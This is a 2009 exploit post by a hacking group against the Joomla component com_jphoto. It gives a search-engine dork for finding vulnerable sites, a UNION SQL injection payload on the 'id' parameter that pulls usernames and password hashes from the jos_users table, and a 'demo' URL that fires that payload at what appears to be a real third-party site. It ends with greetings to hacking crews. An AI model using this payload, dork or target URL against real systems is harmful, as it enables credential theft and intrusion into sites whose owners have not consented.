Joomla JPhoto SQL Injection

`##########################################################################  
## Joomla Component com_jphoto SQL injection vulnerability - (id) ##  
## Author : kaMtiEz ([email protected]) ##  
## Homepage : http://www.indonesiancoder.com ##  
## Date : december 9, 2009 ##  
##########################################################################  
  
[ Software Information ]  
  
[+] Vendor : http://www.corephp.com/  
[+] Download : http://www.corephp.com/component/option,com_rokdownloads/Itemid,100132/view,folder/ ( register first to download )  
[+] About : http://www.corephp.com/jphoto/about.html  
[+] version : -  
[+] Vulnerability : SQL injection  
[+] Dork : inurl:"com_jphoto"  
[+] LOCATION : INDONESIA - JOGJA  
[+] price : -  
  
##########################################################################  
  
[ HERE WE GO ... LIVE FROM JOGJA CITY ]  
  
[ Vulnerable File ]  
  
http://127.0.0.1/index.php?option=com_jphoto&view=category&id=[INDONESIANCODER]  
  
[ Exploit ]  
  
-666+union+all+select+666,concat_ws(0x3a,username,password),666,666,666,666,666,666,666,666,@@version,666,666+from+jos_users--  
  
[ Demo ]  
  
http://demo.davisservicesgroup.com/index.php?option=com_jphoto&view=category&id=-666+union+all+select+666,concat_ws(0x3a,username,password),666,666,666,666,666,666,666,666,@@version,666,666+from+jos_users--&Itemid=137  
  
##########################################################################  
  
[ Thx TO ]  
  
[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown  
[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h  
[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz  
[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy,Jack- and YOU!!  
  
[ NOTE ]   
  
[+] Babe enyak adek i love u pull dah ..   
[+] selamat hari korupsi :D ..   
[+] syalalala ...   
  
[ EOF ]  
[+] INDONESIANCODER TEAM  
[+] KILL -9 TEAM`